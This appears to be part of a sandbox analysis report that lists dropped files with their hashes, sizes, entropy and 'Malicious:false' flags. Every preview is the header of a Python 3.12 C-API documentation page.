                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="The None Object" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/none.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Note that the PyTypeObject for None is not directly exposed in the Python/C API. Since None is a singleton, testing for object identity (using== in C) is sufficient. There is no PyNone_Check() func..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Note that the PyTypeObject for None is not directly exposed in the Pyt
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1284), with CRLF line terminators
                    Category:dropped
                    Size (bytes):78877
                    Entropy (8bit):4.814032396933495
                    Encrypted:false
                    SSDEEP:
                    MD5:5340186F78D90746313F4626B2C9609F
                    SHA1:D33204253F9C5DAFFD322D19B978A362B116D7BB
                    SHA-256:18540D4DE6E149F274A359865D7A13BC10ABC27475F8EF4A7892DED61A0D2F51
                    SHA-512:AF2960E2A3589DB72507EAD4ABADE99EE8E1D833587F17F6B2CC209B19B8A4096E18E0CFDAA8CAAC0CF9B8D97AC27F56C1CB11C7B76B5C1AA403B2BF54F05B1A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Number Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/number.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Number Protocol &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href="..
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1198), with CRLF line terminators
                    Category:dropped
                    Size (bytes):22448
                    Entropy (8bit):4.887100931867726
                    Encrypted:false
                    SSDEEP:
                    MD5:C673B4DE41142E7D613D46C1BA601298
                    SHA1:B889C5A288541C989F1C4826C5087BDB135763D2
                    SHA-256:97CF60328DA673BF415E58E6992CF9A51887333EEB014017FCABC8FCEA6272ED
                    SHA-512:7E1B864AFC10B4D9843ACBC43D3BB63DDC522407A65A1D2C0E769284CBC14617CE7CA9C7295CBE96DD9527AD8DFFD2C691CA671700CE0194C25A45F643D9ECF9
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Old Buffer Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/objbuffer.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These functions were part of the .old buffer protocol. API in Python 2. In Python 3, this protocol doesn.t exist anymore but the functions are still exposed to ease porting 2.x code. They act as a ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These functions were part of the .old buffer protocol
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1154), with CRLF line terminators
                    Category:dropped
                    Size (bytes):97068
                    Entropy (8bit):4.82427893690913
                    Encrypted:false
                    SSDEEP:
                    MD5:41E5F97493467FF20C47A63598EA5275
                    SHA1:1E93BF9C4A86958FFF106C5A69B4B1F9718B89C5
                    SHA-256:885BFF9F047F1C62A4ECBD748485149AF7C732A0D9C415AE3C7500783D719C87
                    SHA-512:BBA88DB58A6B783018A8338DD37AEA8B4321BEA9A36D4743AC2713F9863FF5AF50C7AF3CC866089CDDC33700678A472556193E411D49A3C1D67F48339803BE19
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Object Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/object.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Object Protocol &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href="..
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):16752
                    Entropy (8bit):4.87449704964025
                    Encrypted:false
                    SSDEEP:
                    MD5:F320520FDA975A75D63F07C76CC1BEB5
                    SHA1:3A988D6AC5F1042661E8789C7633B21313B8875F
                    SHA-256:A7E9A61705984E694631DA4C100E17FDBFFA1CFF45309E3B4A9E5E192F404279
                    SHA-512:8A5F8B56479768D4564530FDC60E2D0DEFEA6D6369827A58FC1F04E39EA28962E21431276B03190D27190531C4D588F0C98DDE9247D4DEE23547A60C2FC5CBE6
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Object Implementation Support" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/objimpl.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This chapter describes the functions, types, and macros used when defining new object types. Allocating Objects on the Heap, Common Object Structures- Base object types and macros, Implementing fun..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This chapter describes the functions, types, and macr
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1103), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20192
                    Entropy (8bit):4.876514973239937
                    Encrypted:false
                    SSDEEP:
                    MD5:892CDF2046EF215A1FAC2673C4FB0A30
                    SHA1:0EC0487BE38A111753FE76B5120C129CFD25170A
                    SHA-256:EFFD231F6EB7EF78C9F845A5777835351AFA1863A8371100A62391EA7F7265E1
                    SHA-512:E3306C1A10724152CA5723FD300A44EC0B2B0F91B59222296B37D8332AAD8EA988DE29472BCE3876A9F64E649DC5446C4803843521DD23DB626E1057DEC13287
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Support for Perf Maps" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/perfmaps.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="On supported platforms (as of this writing, only Linux), the runtime can take advantage of perf map files to make Python functions visible to an external profiling tool (such as perf). A running pr..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="On supported platforms (as of this writing, only Linux), the
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (820), with CRLF line terminators
                    Category:dropped
                    Size (bytes):37929
                    Entropy (8bit):4.941077785140546
                    Encrypted:false
                    SSDEEP:
                    MD5:8801BA977A599E84FC2686704210D098
                    SHA1:95D582C907A192417AF6D3E6AC44A5B55A569EF7
                    SHA-256:DC6FC615F63CC64E126FD2F503F6E6BCC2B31CF06DDF6CCD596FE913933D8E85
                    SHA-512:3441189F423C53BF78C4C1F6C6FF85886C0FE0F28FD9DFE0092E06BA35BC453CDA5DF1010367DFA64ACA805DFB8BCA3E57332602399887E79C94DEC5EDB0C580
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Reference Counting" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/refcounting.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The functions and macros in this section are used for managing reference counts of Python objects." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The functions and macros in this section are used for managing reference counts of Python objects." />..<meta property="og:image:width" content="200" />..<meta pr
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (737), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19346
                    Entropy (8bit):4.8923699527530315
                    Encrypted:false
                    SSDEEP:
                    MD5:F7EF7EF6A74A0D74ABCA752FE436B98B
                    SHA1:23F6A8DDD4C889BD379FE08787BB8FE8EEB9A557
                    SHA-256:D0CBB213F455E06CAB33EC2E2C8D219FE8ACFA95BC61C48A571DB37A3073FCAC
                    SHA-512:7B7A8D429E5F81CB2B8BA6476FAFE19853B1FDA3655E1756ED6C201DE44F60C6B457CF3FABA0068F1C09234DA8371E44754149074FE66BDEED0EE0180A048FD9
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Reflection" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/reflection.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Reflection &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href="../_stat
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1310), with CRLF line terminators
                    Category:dropped
                    Size (bytes):50587
                    Entropy (8bit):4.837412214825317
                    Encrypted:false
                    SSDEEP:
                    MD5:56B339BDF0E0710A6F053DCAA7EE3379
                    SHA1:C64E6C91A1E7E651ABB29057828D2A484CB29D3F
                    SHA-256:001178FF662655D87AD524018C5CFF292F764AF06549720D01603CCB8306BB8A
                    SHA-512:4A5CB6C98BEF458483A3B79A8BFE9ECAB885EEBD1FD2EA8A5993F282F3262A136734BE1F27637E966344FD49F966A550D6778A8BFEF249640502BFC2D9487824
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Sequence Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/sequence.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Sequence Protocol &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" hr
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (871), with CRLF line terminators
                    Category:dropped
                    Size (bytes):46531
                    Entropy (8bit):4.856628859617243
                    Encrypted:false
                    SSDEEP:
                    MD5:FE67269735076CAE68EDBC4708AA18E1
                    SHA1:CB90E3218E15928762159DD2F266BA2842ABF880
                    SHA-256:F0252DF1FD4F4EE6D464D5DBC86443775BF53B009BA68059BF322D8F5423CEC9
                    SHA-512:D05F3A1B89ABCF3C6D4054E1997D15CD14101300976BAD4FCF948E051A17C5A9ECBEDCBEBC646B793D70338931F5E618BA03E7DF341BA906637BA67DFF3EA7BC
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Set Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/set.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This section details the public API for set and frozenset objects. Any functionality not listed below is best accessed using either the abstract object protocol (including PyObject_CallMethod(), Py..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This section details the public API for set and frozenset objects. Any func
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1921), with CRLF line terminators
                    Category:dropped
                    Size (bytes):34047
                    Entropy (8bit):4.853956486974159
                    Encrypted:false
                    SSDEEP:
                    MD5:2E0D0C93BDD2E75929C0608F86EA28B1
                    SHA1:F92ADF9637D55271BD6D1C922CCBE3A32DB4F8BA
                    SHA-256:14AF15EAFB663F5B5B410241127B2AB690013F4A170AAC66DE6AB7C16D54D581
                    SHA-512:1D9A3BC98692C3E34853DEE1495CCD0F4CDC27A6DE151BD7555094238A96247668118A4CBC321A63AAFD845EBB1C1E5762A7F5F7E5442A03231E96CC614D02F4
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Slice Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/slice.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Ellipsis Object:" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Ellipsis Object:" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Slice Objects &#8212; Python 3.12.3 documentation</title><meta name="vie
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):216651
                    Entropy (8bit):4.945773715411537
                    Encrypted:false
                    SSDEEP:
                    MD5:FAAFD331831E731EF870F66FC20E3534
                    SHA1:CC747DFC2E1E77BD9CC020153C4085AFEFE6EC22
                    SHA-256:A1ACEA40C3400101897739250C069276C5887C68003D4E4B83D0CE5C5BF8D773
                    SHA-512:6C3DCE897D7EAB4164106CD4D199E308EFF779A721F352A0957D00D82F8C030C2F4B57F551060464BFFB061C4E5A816BEC32DF9903B933E20C8DE9350758CF28
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="C API Stability" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/stable.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Unless documented otherwise, Python.s C API is covered by the Backwards Compatibility Policy, PEP 387. Most changes to it are source-compatible (typically by only adding new API). Changing existing..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Unless documented otherwise, Python.s C API is covered by the Ba
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1496), with CRLF line terminators
                    Category:dropped
                    Size (bytes):113548
                    Entropy (8bit):4.929874763710125
                    Encrypted:false
                    SSDEEP:
                    MD5:9ABBDC5E3742403F862988733EAD2B3C
                    SHA1:3C0EBF8E7AF992DE4DB58219726EA24058C60BB3
                    SHA-256:1A63D770BB8AA39C9C2F88171C310DE718BC846011CAB7D87AFE10F6C4C6C6A2
                    SHA-512:98FFF4848287986D5A1F844FB5966A88431DCFE7B376F470E3E9C51F0EB648FFA73D0B0CEDEB159243653A868C0EB53A3442D4E8B80ECD7D6EAFD3DF9F2FB861
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Common Object Structures" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/structures.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="There are a large number of structures which are used in the definition of object types for Python. This section describes these structures and how they are used. Base object types and macros: All ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="There are a large number of structures which are used i
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (898), with CRLF line terminators
                    Category:dropped
                    Size (bytes):79043
                    Entropy (8bit):4.8711381767546555
                    Encrypted:false
                    SSDEEP:
                    MD5:F4CCB9ED00E2D61D27F2BDD4E434E515
                    SHA1:4681BF68370555AD68AAC84487DA452CF36B3BA7
                    SHA-256:A7E54EFC78C5B315B14FDE70C6EDA1E0719B4F774A17B56E4C84073279CBC10C
                    SHA-512:BEFF0A532F1AED814EE20EDB3C7CFB1300E4D13521A08DEE7F3A5E35822225831514BE5F8FE84F5824F743CD020FAF54585026804F97254DDA74C11C7838B225
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Operating System Utilities" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/sys.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="System Functions: These are utility functions that make functionality from the sys module accessible to C code. They all work with the current interpreter thread.s sys module.s dict, which is conta..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="System Functions: These are utility functions that make
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1180), with CRLF line terminators
                    Category:dropped
                    Size (bytes):52632
                    Entropy (8bit):4.871431107434751
                    Encrypted:false
                    SSDEEP:
                    MD5:C684B2237C0B7ADA7F050ED1B7DA16F2
                    SHA1:8295D38C76B771E690720E2D7FE5BB4146480FC8
                    SHA-256:29D23A0F8D5D705337017D034E3F2B5073B1883E8748C9093453593E6FF17DDB
                    SHA-512:3EA61BF79C678430A3E479702CCB7CC4FC1C2B21F246EAD21977DDB5B1249DA3852C6D7B147142784D47CC515075EF8F448D51DBE977A665715237C163DE12AF
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Tuple Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/tuple.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Struct Sequence Objects: Struct sequence objects are the C equivalent of namedtuple() objects, i.e. a sequence whose items can also be accessed through attributes. To create a struct sequence, you ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Struct Sequence Objects: Struct sequence objects are the C equivalent o
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1555), with CRLF line terminators
                    Category:dropped
                    Size (bytes):87609
                    Entropy (8bit):4.899854761834203
                    Encrypted:false
                    SSDEEP:
                    MD5:03E6320EAD2EDFDB2D1D8D1C435F8249
                    SHA1:3A06EF1520A569D0806F5D18308E8B887753DFD1
                    SHA-256:63299C41D318DB31A58747D432AAA0BB3D4202A1DD1AE862C62B699B82725149
                    SHA-512:D5B3F2142C051E89F986B60DC6A0A6683ED6DD78841D3B055AE468D585EC637904F34D531FAA83851E0127519DBB306B10D5AD2FCB165798DAD88D1D0261DB17
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Type Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/type.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Creating Heap-Allocated Types: The following functions and structs are used to create heap types." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Creating Heap-Allocated Types: The following functions and structs are used to create heap types." />..<meta property="og:image:width" content="200" />..<meta property="og:imag
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1012), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19681
                    Entropy (8bit):4.888008295385176
                    Encrypted:false
                    SSDEEP:
                    MD5:96DA513204CD642D3BF574532FFEEF2C
                    SHA1:E5D882FC0A4537060A0AC8F0D4C5081765593F37
                    SHA-256:6D657B7383A490E96DAC6F05EAF5F29244F26EBAEB4FECE75590111E1BFB58AB
                    SHA-512:A045107ED428463F94A3142C8DA23DDCC639592625DB3863ACEAFC0306A42B6EA81C3CBF47500C91C6FC2DA5D2A252BA21A583FBA36BF881EEA4CC9306757453
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Objects for Type Hinting" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/typehints.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Various built-in types for type hinting are provided. Currently, two types exist . Generiuseras and Union. Only Generiuseras is exposed to C." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Various built-in types for type hinting are provided. Currently, two types exist . Generiuseras and Union. Only
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):450266
                    Entropy (8bit):4.8522974087846835
                    Encrypted:false
                    SSDEEP:
                    MD5:B98E16C9AED455FB6A0FBB3F815FC48D
                    SHA1:D29B1E353F93225F32FFD7D948DF0F6958532D56
                    SHA-256:D107CE6C88B068E3CE2BD45C94EA042AE714676E940464696114FE5430F22B3F
                    SHA-512:52919BF8FD93554FF0DBD731B5E47F9DB5BF69B8B88A9F980024CD803D59D8FCB71D936651C1D558AC59D46A3505502B878B04BA5AEE18661AF50194B756F66D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Type Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/typeobj.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Perhaps one of the most important structures of the Python object system is the structure that defines a new type: the PyTypeObject structure. Type objects can be handled using any of the PyObject_..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Perhaps one of the most important structures of the Python object syst
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1103), with CRLF line terminators
                    Category:dropped
                    Size (bytes):246175
                    Entropy (8bit):4.845466352850264
                    Encrypted:false
                    SSDEEP:
                    MD5:421072F86D15E1CAAA6AE18984F61D5D
                    SHA1:625E1979886209883F9DA8F81C26B704A8B90A75
                    SHA-256:5D0739EBD4E5FBC5E1150F7F464ADABF3275518477CEFA4E6CD52651C03141C2
                    SHA-512:D2D075ECB275FCEA02F58E6D3D169B6749511B33038412561140E8F32A71FC4DD8A1344F765225591E5905FB4C7B3D48BCD03BE1D57F314AE6F19F46FDDDFA4F
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Unicode Objects and Codecs" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/unicode.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Unicode Objects: Since the implementation of PEP 393 in Python 3.3, Unicode objects internally use a variety of representations, in order to allow handling the complete range of Unicode characters ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Unicode Objects: Since the implementation of PEP 393 in
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):15210
                    Entropy (8bit):4.832592879852463
                    Encrypted:false
                    SSDEEP:
                    MD5:7B50A2F62CBD22DC5C37A9F5297D4C30
                    SHA1:BA14C7B61EACB945CDD3BDA0C4C421E704D231A5
                    SHA-256:3787A4F4BEB8F2EFC0C8F838F2C530A4C1FE822B52BDB47CBB117377B1BF4A0D
                    SHA-512:CDC4023F2E9B6893A2A9C452E0C014450C3A94FD0213132A0208743E7818C16890D5E693239EC2BE9ED0568FADCA46889435AB87855BD2D84E00617FCCBA63EA
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Utilities" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/utilities.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The functions in this chapter perform various utility tasks, ranging from helping C code be more portable across platforms, using Python modules from C, and parsing function arguments and construct..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The functions in this chapter perform various utility tasks, ranging fr
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1996), with CRLF line terminators
                    Category:dropped
                    Size (bytes):87602
                    Entropy (8bit):4.787656783462618
                    Encrypted:false
                    SSDEEP:
                    MD5:B48AE78A5C650CCEB1B2212D283E5DA0
                    SHA1:1B81E91073965B724874F19DE539CBC1CC8657D0
                    SHA-256:CE7F7E170F5ECAF6DF8F77AC02CFADF87345DF890AC8694A84484D7C1C8AF395
                    SHA-512:54B64669CFCEE2EA30392D663FBE16A6A961E87929D3033F6DC544EB417898B0D0E93E441A5A92139D7D5957716E497D527A1063C05AB8FDA53D045B0920C7A5
                    Malicious:false
                    Reputation:unknown
